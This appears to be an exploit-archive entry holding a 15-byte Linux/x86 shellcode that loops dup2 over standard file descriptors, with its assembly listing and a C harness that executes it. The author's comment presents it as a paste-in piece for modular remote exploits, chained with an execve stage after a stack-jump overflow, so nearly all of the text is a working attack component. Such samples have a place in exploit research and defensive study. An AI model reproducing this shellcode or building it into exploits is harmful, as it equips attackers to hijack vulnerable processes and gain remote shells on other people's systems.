Linux/x86 - dup2(0_0) + dup2(0_1) + dup2(0_2) Shellcode (15 bytes)

Author: Charles Stevenson
type: 
platform: linux_x86
port: 15.0
date_added: 2005-11-08 
date_updated: 2018-01-16 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

/* dup2_loop-core.c by Charles Stevenson <core@bokeoa.com>
 *
 * I made this as a chunk you can paste in to make modular remote
 * exploits.  I usually combine this with an execve as the second
 * stage of a read() jmp *%esp
 */
char hellcode[] = /* dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core */
"\x31\xc9"               	// xor    %ecx,%ecx
"\x56"                   	// push   %esi
"\x5b"                   	// pop    %ebx
// loop:
"\x6a\x3f"               	// push   $0x3f
"\x58"                   	// pop    %eax
"\xcd\x80"               	// int    $0x80
"\x41"                   	// inc    %ecx
"\x80\xf9\x03"           	// cmp    $0x3,%cl
"\x75\xf5"               	// jne    80483e8 <loop>
;

int main(void)
{
  void (*shell)() = (void *)&hellcode;
  printf("%d byte dup2(0,0); dup2(0,1); dup2(0,2); linux/x86 by core\n",
         strlen(hellcode));
  shell();
  return 0;
}

// milw0rm.com [2005-11-09]